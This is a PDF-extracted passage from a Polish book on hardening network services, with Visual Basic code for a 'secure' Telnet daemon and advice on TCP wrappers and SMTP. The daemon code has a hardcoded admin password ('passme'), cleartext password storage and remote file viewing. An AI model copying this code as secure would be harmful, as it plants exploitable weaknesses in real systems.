End Sub

Private Sub Form_Terminate()
AddEditDir.Tag = DirPath.Text
Unload Me
End Sub

Private Sub GetSystemDrives()
Dim rtn As Long
Dim d As Integer
Dim AllDrives As String
Dim CurrDrive As String
Dim tmp As String
tmp = Space(64)
rtn = GetLogicalDriveStrings(64, tmp)
AllDrives = Trim(tmp) 'pobranie listy dost

ę

pnych dysków

d = 0
Do Until AllDrives = Chr$(0)
d = d + 1
CurrDrive = StripNulls(AllDrives) 'usuwanie pojedynczego elementu z
listy AllDrives
CurrDrive = Left(CurrDrive, 2) 'znak łamania na ko

ń

cu nie jest

nam potrzebny
DrvS(d) = CurrDrive
DrvC = d

background image


Rozdział 1.

Zabezpieczanie portów i usług

21

21

Loop
End Sub

Private Function StripNulls(startstr) As String
Dim pos As Integer
pos = InStr(startstr, Chr$(0))
If pos Then
StripNulls = Mid(startstr, 1, pos - 1)
startstr = Mid(startstr, pos + 1, Len(startstr))
Exit Function
End If
End Function

UserOpts.frm

może być rozbudowywany, jako moduł administracyjny, służący do

dodawania, usuwania i ustawiania opcji użytkownika.

UserOpts.frm

Option Explicit
Dim uItem As Integer
Dim aItem As Integer
Dim tStrng As String
Dim uUser As Integer
Dim Pcnt As Integer

Private Type Priv
Path As String
Accs As String '[R]ead,[W]rite,[D]elete,e[X]ecute > Pliki
'(Odczyt, Zapis, Usuwanie, Uruchamianie)
'[L]ist,[M]ake,[K]ill,[S]ubs > Katalogi
'(Przegl

ą

danie, Tworzenie, Usuwanie, Podkatalogi)


End Type
Private Privs(20) As Priv

Private Sub FDAdd_Click()
tStrng = Get_Path("")
If tStrng <> "" Then
AccsList.AddItem (tStrng)
Pcnt = Pcnt + 1
UserIDs.No(uUser).Priv(Pcnt).Path = tStrng
FDUpdate.Enabled = True
FDRemove.Enabled = True
End If
AccsList_False
End Sub

Private Sub FDEdit_Click()
tStrng = Get_Path(AccsList.Text)
If tStrng <> "" Then
AccsList.List(aItem) = tStrng
UserIDs.No(uUser).Priv(aItem + 1).Path = tStrng
End If
AccsList_False
End Sub

Private Sub FDRemove_Click()
Dim z As Integer
For z = (aItem + 1) To UserIDs.No(uUser).Pcnt

background image


22

Hack Wars. Tom 2. Na tropie hakerów

22

UserIDs.No(uUser).Priv(z).Path = UserIDs.No(uUser).Priv(z +
1).Path
UserIDs.No(uUser).Priv(z).Accs = UserIDs.No(uUser).Priv(z +
1).Accs
Next
UserIDs.No(uUser).Pcnt = UserIDs.No(uUser).Pcnt - 1
AccsList.RemoveItem (aItem)
AccsList_False
End Sub

Private Sub FDUpdate_Click()
Dim z As Integer, s As String
UserIDs.No(uUser).Name = UsrName
UserIDs.No(uUser).Pass = Pword
UserIDs.No(uUser).Home = HomeDir
UserIDs.No(uUser).Pcnt = Pcnt
s = ""
z = aItem + 1
If FRead.Value = 1 Then s = s & "R"
If FWrite.Value = 1 Then s = s & "W"
If FDelete.Value = 1 Then s = s & "D"
If FEx.Value = 1 Then s = s & "X"
If DList.Value = 1 Then s = s & "L"
If DMake.Value = 1 Then s = s & "M"
If DRemove.Value = 1 Then s = s & "K"
If DSub.Value = 1 Then s = s & "S"
Privs(z).Accs = s
UserIDs.No(uUser).Priv(z).Accs = s
AccsList_False
End Sub

Private Sub Form_Load()
Dim x As Integer, y As Integer
y = UserIDs.Count
If (y > 0) Then
For x = 1 To UserIDs.Count
UserList.AddItem UserIDs.No(x).Name
Next
End If
aItem = -1
uItem = -1
AccsList_False
UserList_False
FDAdd.Enabled = False
End Sub

Private Sub Form_Terminate()
Unload Me
End Sub

Private Sub UserList_LostFocus()
' If uItem >= 0 Then UserList_False
End Sub

Private Sub UsrDone_Click()
Dim z As Integer
Form_Terminate
End Sub

Private Sub UsrRemove_Click()
Dim z As Integer, i As Integer
z = UserIDs.Count
For i = uUser To z

background image


Rozdział 1.

Zabezpieczanie portów i usług

23

23

UserIDs.No(i) = UserIDs.No(i + 1)
Next
UserList.RemoveItem (uItem)
UserIDs.Count = z - 1
AccsList.Clear
ClearAccs
UsrName = ""
Pword = ""
HomeDir = ""
aItem = -1
UserList_False
End Sub

Private Sub UsrAdd_Click()
Dim i As Integer, S1 As String
S1 = "New User"
UsrName = S1
UserList.AddItem S1
i = UserIDs.Count + 1
UserIDs.No(i).Name = S1
UserIDs.Count = i
UserList_False
End Sub

Private Sub UserList_Click()
Dim x As Integer, z As Integer
uItem = UserList.ListIndex
Debug.Print "User List Item = " & uItem
'[R]ead,[W]rite,[D]elete,e[X]ecute > Pliki
'[L]ist,[M]ake,[K]ill,[S]ubs > Katalogi
uUser = uItem + 1
AccsList.Clear
ClearAccs
Pword = ""
HomeDir = ""
aItem = -1
UserList_True
AccsList_False
FDAdd.Enabled = True
UsrName = UserIDs.No(uUser).Name
Pword = UserIDs.No(uUser).Pass
HomeDir = UserIDs.No(uUser).Home
Pcnt = UserIDs.No(uUser).Pcnt
For z = 1 To Pcnt
Privs(z).Path = UserIDs.No(uUser).Priv(z).Path
Privs(z).Accs = UserIDs.No(uUser).Priv(z).Accs
AccsList.AddItem Privs(z).Path
Next
End Sub

Private Sub AccsList_Click()
Dim x As Integer, z As Integer
aItem = AccsList.ListIndex
Debug.Print "Access List Item = " & aItem
ClearAccs
AccsList_True
z = aItem + 1
Debug.Print UserIDs.No(uUser).Priv(z).Accs
If InStr(Privs(z).Accs, "R") Then
FRead.Value = 1
End If
If InStr(Privs(z).Accs, "W") Then

background image


24

Hack Wars. Tom 2. Na tropie hakerów

24

FWrite.Value = 1
End If
If InStr(Privs(z).Accs, "D") Then
FDelete.Value = 1
End If
If InStr(Privs(z).Accs, "X") Then
FEx.Value = 1
End If
If InStr(Privs(z).Accs, "L") Then
DList.Value = 1
End If
If InStr(Privs(z).Accs, "M") Then
DMake.Value = 1
End If
If InStr(Privs(z).Accs, "K") Then
DRemove.Value = 1
End If
If InStr(Privs(z).Accs, "S") Then
DSub.Value = 1
End If
End Sub

Private Sub AccsList_DblClick()
aItem = AccsList.ListIndex
tStrng = Get_Path(AccsList.Text)
If tStrng <> "" Then
AccsList.List(aItem) = tStrng
UserIDs.No(uUser).Priv(aItem + 1).Path = tStrng
End If
AccsList.Selected(aItem) = False
End Sub

Private Sub UserList_True()
UsrRemove.Enabled = True
End Sub

Private Sub UserList_False()
Debug.Print "uItem=" & uItem
UsrRemove.Enabled = False
If uItem >= 0 Then
UserList.Selected(uItem) = False
uItem = -1
End If
End Sub

Private Sub AccsList_True()
FDEdit.Enabled = True
FDRemove.Enabled = True
FDUpdate.Enabled = True
End Sub

Private Sub AccsList_False()
Debug.Print "aItem=" & aItem
FDEdit.Enabled = False
FDRemove.Enabled = False
FDUpdate.Enabled = False
If aItem >= 0 Then
AccsList.Selected(aItem) = False
aItem = -1
End If
End Sub


Private Sub ClearAccs()

background image


Rozdział 1.

Zabezpieczanie portów i usług

25

25

FRead.Value = 0
FWrite.Value = 0
FDelete.Value = 0
FEx.Value = 0
DList.Value = 0
DMake.Value = 0
DRemove.Value = 0
DSub.Value = 0
End Sub

Function Get_Path(olds As String) As String
AddEditDir.DirPath = olds
AddEditDir.Show 1
If Tag <> "" Then
Get_Path = Tag
Tag = ""
End If
End Function

Przedstawione w tym rozdziale programy i towarzyszące im pliki znaleźć można na do-
łączonym do książki dysku CD.

Port 23: Telnet

Jak opisano to w pierwszym tomie niniejszej książki, demon usługi Telnet otwiera drogę
do poważnego naruszenia zabezpieczeń systemu: hasła przesyłane są tekstem jawnym,
a udana próba nawiązania połączenia umożliwia zdalne uruchamianie poleceń. Dość
oczywistą rzeczą staje się więc zalecenie wyłączenia tej usługi, o ile tylko pozwala-
ją na to nasze założenia komunikacji sieciowej. Gdy tak nie jest, pozostaje skorzystanie
z innych metod, podobnie jak w przypadku pracującego na porcie 21 protokołu
przesyłania plików.

Podobnie jak w przypadku FTP i większości usług sieciowych systemu UNIX, ozna-
czenie odpowiedniego wiersza w pliku

/etc/inetd.conf

jako komentarza będzie wystarcza-

jące do całkowitego wyłączenia demona (patrz rysunek 1.4, przedstawiający wyłączanie
demona FTP). Nie wolno oczywiście zapomnieć o zatrzymaniu i ponownym uru-
chomieniu inetd lub całego systemu operacyjnego.

W systemach Windows modyfikujemy konfigurację uruchomieniową lub kończymy
pracę procesu aktywnego. Przebiega to podobnie jak przedstawiono odnośnie usługi
FTP Publishing Service i na rysunkach od 1.5 do 1.8.

Korzystanie z osłon TCP (TCP wrappers)

Alternatywy dla Telnetu znaleźć można pośród najlepszych serwerów emulacji terminali
i pracujących w trybie GUI klientów. Gdy jednak demon tej usługi jest koniecznością,
pozostaje jedynie zabezpieczanie komunikacji, w której pośredniczy port 23. Rozpocząć
można od zmiany komunikatu powitalnego demona, ujawniającego, często przydatne
przy włamaniach do systemu, dane: typ demona, wersję i platformę. Co ważniejsze, jeżeli
zmuszeni jesteśmy do korzystania z rodzimego demona systemu UNIX, zapewnić
należy jego osłonięcie (ang. wrapping). Ogólnie rzecz ujmując, oprogramowanie osła-
niające TCP zapewnia lepsze rejestrowanie i kontrolę dostępu do demonów usług skonfi-

background image


26

Hack Wars. Tom 2. Na tropie hakerów

26

gurowanych w pliku

/etc/inetd.conf

. Warto zwrócić uwagę, że osłony TCP to programy

dedykowane lub zależne, od typu systemu UNIX. W tym punkcie najistotniejsze jest
jednak podkreślenie znaczenia osłonięcia wszystkich aktywnych demonów usług.

Na dołączonym do niniejszej książki dysku CD znajdziemy repozytorium tcp_wrapper, a w
nim — przykładowe kompilacje

tcpd

. Zapewniono wersje dla systemów AIX, Digi-

tal, HP-UX, IRIX, Solaris, SunOS i Linux.

Instalowanie osłon TCP

Instalowanie osłony TCP nie jest procedurą skomplikowaną. Sprowadza się do czterech
opisanych poniżej kroków:

1.

Kopiujemy osłonę TCP do odpowiedniego katalogu

inetd.conf

. W systemie

Linux jest to

/etc/

, w systemach AIX i Digital —

/usr/sbin

, w systemach HP-UX 9

i 10 — odpowiednio,

/etc

i

/usr/lbin

, w systemie IRIX —

/usr/etc

, w systemie

Solaris —

/usr/sbin

, a w systemie SunOS —

/usr/etc

.

Po zainstalowaniu, osłona TCP zapisywać będzie rejestrowane dane odpowiednio
do ustawienia dla dzienników poczty w pliku

/syslog.conf

. W systemie AIX jest to

/var/adm/messages

, w systemie Digital —

/var/adm/syslog.dated/[DATE]/mail.log

,

w systemie HP-UX 9 i 10 —

/usr/spool/mqueue/syslog

, w systemie IRIX —

/var/

adm/SYSLOG

, a w systemach Solaris i SunOS —

/var/log/syslog

.

2.

Modyfikujemy plik

inetd.conf

tak, aby korzystał z osłony. Aby osłonić usługę

Telnet (lub inną), zmieniamy jej wpis w pliku

inetd.conf

z

telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

na

telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd

Patrz rysunek 1.13.

Rysunek 1.13.
W pliku inetd.conf
wprowadzamy pełn
ą
ś

cieżkę do tcpd

(osłony),
pozostawiaj
ąc
pozostałe elementy
wiersza bez zmian

3.

Konfigurujemy pliki kontroli dostępu. Osłanianie TCP zapewnia kontrolę
dostępu, którym zarządzają dwa pliki. Proces sprawdzania uprawnień kończy się
przy pierwszym dopasowaniu. Dostęp zostaje przyznany, jeżeli odpowiedni wpis
znajduje się w pliku

/etc/hosts.allow

. Jeżeli nie, wpis w pliku

/etc/hosts.deny

może

doprowadzić do odmowy dostępu. W przypadku braku dopasowania w obu
plikach, dostęp zostaje przyznany. Oznacza to, że brak obu plików odpowiada
wyłączeniu kontroli dostępu. Informacje o korzystaniu z tych list kontroli dostępu

background image


Rozdział 1.

Zabezpieczanie portów i usług

27

27

(ang. ACL, access control lists) znajdziemy na stronie

hosts_access

dołączonego

do pakietu źródłowego Tcp_wrapper podręcznika (patrz rysunek 1.14).

Rysunek 1.14.
Uzyskiwanie
informacji
o dostosowywaniu
list kontroli dost
ępu
przez wy
świetlenie
strony hosts_access
podr
ęcznika
Tcp_wrapper

4.

Wprowadzamy w systemie i testujemy zmiany. Aby system uwzględnił
wprowadzone zmiany i uruchomił osłonę, restartujemy komputer lub sam
demon inetd — odczyta on wówczas nowy plik

inetd.conf

. Pozostaje

wówczas ostatni krok, niezbędny po każdej zmianie w systemie operacyjnym.
Jest nim sprawdzenie funkcjonowania osłony. W tym celu podejmujemy próbę
dostępu do komputera, w którym wprowadziliśmy osłonę usługi. Sprawdzamy
czy tcpd rejestruje nasze działania i, co ważniejsze, przeprowadza kontrolę
dostępu, zgodnie z wpisami w plikach

/etc/hosts.allow

i

/etc/hosts.deny

.

Tiger Telnet

Przedstawimy teraz oprogramowanie TigerTelnetServ — rozwiązanie dla domowych
i prywatnych użytkowników Windows, którzy pragną pełnej kontroli i bezpieczeństwa
pracy protokołu.

TigerTelnetServ (patrz rysunek 1.15) pozwoli w pełni kontrolować działanie mechani-
zmów dostępowych, zapewniając bezpieczny zdalny dostęp zarówno Czytelnikowi
niniejszej książki, jak i jego rodzinie i przyjaciołom. Program może być bez ograniczeń
modyfikowany, rozpowszechniany i stosowany. Przedstawiona wersja wyposażona
została w polecenia pozwalające przeglądać katalogi, podglądać zawartość plików,
wyszukiwać użytkowników, przerywać sesje oraz pracę demona usługi. W wolnym czasie
Czytelnik może pokusić się o dalszą rozbudowę. Dla uniknięcia komplikacji i zapew-
nienia bezpieczeństwa, wszystkie uprawnienia użytkowników opisuje plik

Users.ini

.

background image


28

Hack Wars. Tom 2. Na tropie hakerów

28

Rysunek 1.15.
TigerTelnetServ
— bezpieczny demon
usługi Telnet dla
systemu Windows

Form1.frm

zawiera kod podstawowego interfejsu demona. Obejmuje on analizator sesji,

opcję tymczasowego wyłączenia możliwości logowania oraz funkcję administracyjną
Lockdown. Wywołuje ona

Form2.frm

, który inicjalizuje specjalny demon, dopuszczający

jedną tylko sesję, przy której stosuje się hasło administratora — zapisane i skompilowane
wraz z kodem źródłowym. W tym trybie zalogować się można wyłącznie na konto

ad-

min

.

Form1.frm

Private Sub acc_ConnectionRequest(ByVal requestID As Long)
i = i + 1
Load pol(i)
pol(i).Close
pol(i).Accept requestID
acc.Close
acc.Listen
For scan = 1 To 35
If Ac_Name(scan) = Empty Then
refid = scan
Exit For
End If
Next scan
Ac_Name(refid) = "no user"
Ac_Host(refid) = pol(i).RemoteHostIP
Ac_What(refid) = "login"
Ac_Sock(refid) = i
SendFile "files\connect.txt", refid
Send Crt, refid
Send "Login: ", refid
Update
End Sub

Private Sub Command3_Click()
End Sub

Private Sub Command1_Click()
Unload Me
Form2.Show
End Sub

Private Sub Command4_Click()
End
End Sub

background image


Rozdział 1.

Zabezpieczanie portów i usług

29

29


Private Sub Update()
List1.Clear
For scan = 1 To 35
If Ac_Name(scan) <> Empty Then
If Ac_SuperUser(scan) = False Then
List1.AddItem Ac_Name(scan) & " - " & Ac_Host(scan)
Else
List1.AddItem "@" & Ac_Name(scan) & " - " & Ac_Host(scan)
End If
p = p + 1
End If
Next scan
Me.Caption = "Telnet - " & Trim(p) & " connection(s)"
End Sub

Private Sub Form_Load()
acc.LocalPort = 23
acc.Bind
acc.Listen
Crt = Chr(10) & Chr(13)
End Sub

Private Sub pol_Close(Index As Integer)
For scan = 1 To 35
If Ac_Sock(scan) = Index Then
refid = scan
Exit For
End If
Next scan
Ac_Name(refid) = Empty
Ac_Input(refid) = Empty
Ac_Host(refid) = Empty
Ac_What(refid) = Empty
Ac_Sock(refid) = Empty
pol(Index).Close
Update
End Sub

Private Sub SendFile(ByVal filename As String, ByVal person As
Integer)
Open filename For Input As #1
Do
If EOF(1) Then Exit Do
Line Input #1, temp
Send temp & Chr(10) & Chr(13), person
Loop
Close #1
End Sub

Private Sub Send(ByVal text As String, ByVal person As Integer)
If Ac_Name(person) = "" Then Exit Sub
pol(Ac_Sock(person)).SendData text
End Sub

Private Sub pol_DataArrival(Index As Integer, ByVal bytesTotal As
Long)
pol(Index).GetData text, vbString
For scan = 1 To 35
If Ac_Sock(scan) = Index Then
refid = scan
Exit For

background image


30

Hack Wars. Tom 2. Na tropie hakerów

30

End If
Next scan
stack = ""
If refid = 0 Then
pol(Index).Close
Exit Sub
End If
For H = 1 To Len(text)
pg = Mid(text, H, 1)
If pg = Chr(13) Then
If Ac_What(refid) = "prompt" Then
reason = "command not found"
Ac_Input(refid) = Trim(Ac_Input(refid))
Send Crt, 1
If Ac_Input(refid) = Empty Then goodcom = True

For scan = 1 To Len(Ac_Input(refid))
If Mid(Ac_Input(refid), scan, 1) = " " Then
i_command = Mid(Ac_Input(refid), 1, scan - 1)
i_arg = Mid(Ac_Input(refid), scan + 1, 100)
Exit For
End If
Next scan
If i_command = "" Then i_command = Ac_Input(refid)
If i_command = "logout" Then
pol(Index).Close
Ac_Name(refid) = Empty
Ac_Input(refid) = Empty
Ac_Host(refid) = Empty
Ac_What(refid) = Empty
Ac_Sock(refid) = Empty
Ac_SuperUser(refid) = Empty
Update
Exit Sub
End If
If i_command = "shutdown" Then
If Ac_SuperUser(refid) = True Then
End
Else
goodcom = False
reason = "permission denied"
End If
End If
If i_command = "who" Then
goodcom = True
For scan = 1 To 35
If Ac_Name(scan) <> "" And Ac_Name(scan) <> "no
user" Then
result = ""
If Ac_SuperUser(scan) = True Then
result = "@"
End If
result = result & Ac_Name(scan)
For dscan = 1 To 10 - Len(result)
result = result & " "
Next dscan
result = result & Ac_Host(scan)
Send result & Crt, refid
End If
Next scan
End If

background image


Rozdział 1.

Zabezpieczanie portów i usług

31

31

If i_command = "killuser" Then
If Ac_SuperUser(refid) = True Then
goodcom = False
reason = "no such user"
For scan = 1 To 35
If Ac_Name(scan) <> Empty Then
If Ac_Name(scan) = i_arg Then
pol(Ac_Sock(scan)).Close
Ac_Name(scan) = Empty
Ac_Input(scan) = Empty
Ac_Host(scan) = Empty
Ac_What(scan) = Empty
Ac_Sock(scan) = Empty
Ac_SuperUser(scan) = Empty
goodcom = True
Update
End If
End If
Next scan
Else
goodcom = False
reason = "permission denied"
End If
End If
If goodcom = False Then
stack = stack & "bash: " & i_command & ": " & reason
& Crt
End If
Ac_Input(refid) = Empty
stack = stack & Ac_Name(refid) & "@Telnet> "
Send stack, refid
Exit Sub
End If
If Ac_What(refid) = "login" Then
If Ac_Input(refid) = Empty Then
stack = stack & Crt
stack = stack & Crt
stack = stack & "Login: "
Send stack, refid
Exit Sub
End If
Ac_Name(refid) = Ac_Input(refid)
Ac_Input(refid) = Empty
stack = stack & Crt
stack = stack & "Password: "
Ac_What(refid) = "password"
Send stack, refid
Exit Sub
End If
If Ac_What(refid) = "password" Then
Open "files\users.ini" For Input As #1
Do
If EOF(1) Then Exit Do
Line Input #1, temp
If Mid(temp, 1, 1) <> "#" Then
G = 0
rscan:
For scan = 1 To Len(temp)
If Mid(temp, scan, 1) = "," Then
G = G + 1
If G = 1 Then
load_name = Mid(temp, 1, scan - 1)

background image


32

Hack Wars. Tom 2. Na tropie hakerów

32

temp = Mid(temp, scan + 1, 100)
GoTo rscan
End If
If G = 2 Then
load_password = Mid(temp, 1, scan -
1)
temp = Mid(temp, scan + 1, 100)
GoTo rscan
End If
If G = 3 Then
load_su = Mid(temp, 1, scan - 1)
temp = Mid(temp, scan + 1, 100)
End If

If Check1.Value = False Then

If load_name = Ac_Name(refid) Then
If load_password =
Ac_Input(refid) Then
stack = stack & Crt
stack = stack & "Login
approved." & Crt & Crt
stack = stack & Ac_Name(1) &
"@Telnet> "
Ac_What(refid) = "prompt"
Ac_Input(refid) = Empty
Ac_SuperUser(refid) = False
If load_su = "1" Then
Ac_SuperUser(refid) =
True
End If

Close #1
Send stack, refid
Update
Exit Sub
End If
Ac_Input(refid) = Empty
End If
End If
End If
Next scan
End If
Loop
Close #1
Ac_Input(refid) = Empty
stack = stack & Crt
stack = stack & "Login incorrect" & Crt & Crt
stack = stack & "Login: "
Send stack, refid
Ac_What(refid) = "Login"
Exit Sub
End If
End If
If pg = Chr(8) Then
If Ac_Input(refid) <> "" Then
Ac_Input(refid) = Mid(Ac_Input(refid), 1,
Len(Ac_Input(refid)) - 1)
If Ac_What(refid) <> "password" Then
Send Chr(8) & " " & Chr(8), refid
End If
End If

background image


Rozdział 1.

Zabezpieczanie portów i usług

33

33

Exit Sub
End If
If pg = Chr(21) Then
If Ac_Input(refid) <> "" Then
For G = 1 To Len(Ac_Input(refid))
Send Chr(8) & " " & Chr(8), refid
Next G
End If
Ac_Input(refid) = ""
Exit Sub
End If
If Ac_What(refid) <> "password" Then
Send pg, refid
End If
Ac_Input(refid) = Ac_Input(refid) & pg
Next H
End Sub

Private Sub pol_Error(Index As Integer, ByVal Number As Integer,
Description As String, ByVal Scode As Long, ByVal Source As String,
ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As
Boolean)
For scan = 1 To 35
If Ac_Sock(scan) = Index Then
refid = scan
Exit For
End If
Next scan
Ac_Name(refid) = Empty
Ac_Input(refid) = Empty
Ac_Host(refid) = Empty
Ac_What(refid) = Empty
Ac_Sock(refid) = Empty
pol(Index).Close
Update
End Sub

Kolejny formularz to wersja demona określona nazwą Lockdown, przeznaczona do wyko-
rzystania przez administratora. Dopuszcza tylko jedną sesję, której zainicjowanie wy-
maga podania hasła zapisanego w kodzie źródłowym. Hasło to zapisane jest w wierszu:

If Command =... Then... Else

W załączonym przykładzie jest to

passme

.

Form2.frm

Dim Pass As Boolean
Dim Command As String

Private Sub Command2_Click()
Unload Me
End Sub

Private Sub Dir1_Change()
File1.Path = Dir1.Path
End Sub

Private Sub Form_Load()
Winsock1.LocalPort = 23

background image


34

Hack Wars. Tom 2. Na tropie hakerów

34

Winsock1.Listen
Label1.Caption = ""
Dir1.Path = "C:\"
End Sub

Private Sub Winsock1_Close()
Winsock1.Close
Do Until Winsock1.State = sckClosed
DoEvents
Loop
Winsock1.LocalPort = 23
Winsock1.Listen
Dir1.Path = "C:\"
Pass = False
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
Do Until Winsock1.State = 7
DoEvents
Loop
Me.Caption = Winsock1.RemoteHostIP
Winsock1.SendData "Password: "
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
Winsock1.GetData Data
If Asc(Data) = 13 Then
Label1.Caption = Command
If Pass = False Then
If Command = "passme" Then Pass = True: Winsock1.SendData
vbCrLf &
"welcome" & vbCrLf: Winsock1.SendData "C:\>" Else
Winsock1.SendData
"Password incorect!" & vbCrLf: Winsock1.SendData "Password: "
Else
If LCase(Command) = "cd.." Then
If Dir1.Path <> "C:\" Then Dir1.Path = ".."
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
If LCase(Command) = "cd." Then
Dir1.Path = "."
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
If LCase(Command) = "dir" Then
Dim Lenght As Integer
For i = 0 To Dir1.ListCount - 1
Winsock1.SendData Dir1.List(i) & " <DIR>" & vbCrLf
Next
For i = O To File1.ListCount
Winsock1.SendData File1.List(i) & vbCrLf

background image


Rozdział 1.

Zabezpieczanie portów i usług

35

35

Next
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
If LCase(Left(Command, 4)) = "view" Then
U = Right(Command, Len(Command) - 5)
On Error GoTo err1
If Dir1.Path = "C:\" Then
Open "C:\" & U For Input As #1
Do Until EOF(1)
Line Input #1, O
Winsock1.SendData O & vbCrLf
Loop
Close #1
Else
Open Dir1.Path & "\" & U For Input As #1
Do Until EOF(1)
Line Input #1, O
Winsock1.SendData O & vbCrLf
Loop
Close #1
End If
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
err1:
Winsock1.SendData Err.Description & vbCrLf
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
If LCase(Left(Command, 2)) = "cd" And LCase(Left(Command, 3))
<> "cd." And
LCase(Left(Command, 3)) <> "cd\" And Len(Command) > 3 Then
U = Right(Command, Len(Command) - 3)
On Error GoTo err1
If Dir1.Path <> "C:\" Then Dir1.Path = Dir1.Path & "\" &
U Else
Dir1.Path = Dir1.Path & U
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
If LCase(Command) = "cd\" Then
Dir1.Path = "C:\"
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
If LCase(Command) = "quit" Then

background image


36

Hack Wars. Tom 2. Na tropie hakerów

36

Winsock1.SendData "Goodbye!" & vbCrLf
Winsock1_Close
Command = ""
Exit Sub
End If
If LCase(Command) = "help" Then
Open App.Path & "\help.txt" For Input As #1
Do Until EOF(1)
Line Input #1, E
Winsock1.SendData E & vbCrLf
Loop
Close #1
If Dir1.Path <> "C:\" Then Winsock1.SendData
UCase(Dir1.Path) & "\>"
Else Winsock1.SendData "C:\>"
Command = ""
Exit Sub
End If
Winsock1.SendData "Wrong Command!" & vbCrLf & "Type help for
help" & vbCrLf
If Dir1.Path <> "C:\" Then Winsock1.SendData UCase(Dir1.Path)
& "\>" Else
Winsock1.SendData "C:\>"
End If
Command = ""
Else
Command = Command & Data
End If
End Sub

Port 25: SMTP

Jeżeli czytaliśmy pierwszy tom, łatwo przypomnimy sobie, że protokół SMTP (Simple
Mail Transfer Protocol
), prosty protokół przesyłania poczty) to najczęściej stosowany
w Internecie protokół przekazywania poczty elektronicznej. Demony SMTP prowadzą
nasłuch (oczekują na pocztę) na porcie 25, po czym kopiują odebrane wiadomości do
odpowiednich skrzynek i katalogów użytkowników. Usługa ta najbardziej podatna
jest na ataki określane terminami: bombardowanie (ang. mail bombing) i spamming,
jak również różnego rodzaju ataki typu Denial of Service (uniemożliwienie działania).
W dalszych rozdziałach zajmiemy się tymi technikami i przeciwdziałaniem im nieco
szerzej. Tymczasem skoncentrujmy się na ogólnych środkach ochrony usługi.

Gdy użytkownik wysyła pocztę ze swojego komputera, serwery nazw domen (DNS)
usługodawcy internetowego (ISP) przekazują zapytanie dotyczące wiadomości do
głównych klastrów DNS Internetu. Serwery te tłumaczą nazwę domeny (drugą część
adresu elektronicznego, po znaku „@”) na adres IP. Przykładowo, w adresie e-mail

john@xyz-inc.com

, część

xyz-inc.com

zostaje odwzorowana do pewnego publicznego

adresu IP. Adres ten reprezentuje lokalizację serwera DNS, który posiada informację,
gdzie należy przekazać pocztę kierowaną do

@xyz-inc.com

. Informacja ta zawarta jest

w rekordzie wymiany poczty (MX, Mail Exchange). Ten wskazuje kolejny adres IP. Jest
to najczęściej adres serwera poczty, który prowadzi nasłuch na porcie 25, w oczekiwaniu
wiadomości przesyłanych do

@xyx-inc.com

(patrz rysunek 1.16).

background image


Rozdział 1.

Zabezpieczanie portów i usług

37

37

Rysunek 1.16.
Cykl życia
wiadomo
ści
pocztowej

Standardowo, w systemach UNIX usługa SMTP pozostaje wyłączona. Nie jest również
standardem w systemach Windows. Gdy jej obecność jest wymagana, zaleca się modyfi-
kację komunikatu powitalnego tak, aby nie ujawniał niepotrzebnych informacji.
Podobnie jak w przypadku innych demonów usług, warto zadbać o osłonę, wykorzystu-
jąc Tcp_wrapper (opisany na wcześniejszych stronach, wraz z zabezpieczeniami
usługi Telnet).

Dla ochrony przed nieautoryzowanym i szkodliwym wykorzystaniem usługi SMTP,
ważnym czynnikiem jest jej skonfigurowanie jako bramy przekazującej wiadomości
e-mail wyłącznie z lokalnej domeny pocztowej. Demon nie powinien odbierać żadnych
żą

dań przekazania poczty pochodzących z zewnątrz. Warto polecić również szczegóło-

we rejestrowanie, połączone z odpowiednim zabezpieczaniem danych archiwalnych
— ułatwi to usuwanie przyszłych awarii i może zostać wykorzystane jako dowód w po-
stępowaniu przeciwko włamywaczowi.

Najważniejszą jednak techniką stosowaną przez Tiger Team w odniesieniu do serwerów
SMTP i usług rezydentnych jest procedura SMTP-NAT-DMZ. NAT to skrót oznaczający
translację adresów sieciowych (ang. network address translation). Jest ona realizowana
najczęściej przez zaporę firewall lub router dostępowy. Polega na zamianie wewnętrznego
adresu IP w adres internetowy (publiczny) i odwrotnie. Rozwiązaniem zapewniającym
ochronę sieci będzie statyczna translacja pomiędzy adresami wewnętrznymi (lokalnymi)

background image


38

Hack Wars. Tom 2. Na tropie hakerów

38

i zewnętrznymi (internetowymi), połączona z ograniczeniem dostępu do określonych
portów i związanych z nimi usług. Ilustruje to rysunek 1.17.

Rysunek 1.17.
Mechanizm
SMTP-NAT

Rysunek przedstawia serwer SMTP pracujący w sieci lokalnej, którą chroni zapora fire-
wall. W takim układzie, zapora przeprowadza translację internetowego adresu serwera
SMTP do jego adresu wewnętrznego, dzięki czemu serwer pozostaje osiągalny dla poczty
nadchodzącej spoza sieci lokalnej. W zależności od przyjętych przy konfigurowaniu za-
pory zasad ochrony sieci, rozwiązanie tego rodzaju może być stosunkowo bezpieczne.
Jeszcze lepszy mechanizm uzyskamy jednak wówczas, gdy wprowadzimy tzw. strefę
zdemilitaryzowaną, czyli DMZ (demilitarized zone).

Koncepcja DMZ wprowadza jeszcze jedną sieć, poza zaporą, jednak oddzieloną od
wewnętrznej sieci lokalnej. Dzięki temu, w przypadku, gdy próba przełamania barier
ochronnych serwera SMTP zakończy się sukcesem, osoba nieupoważniona w dalszym
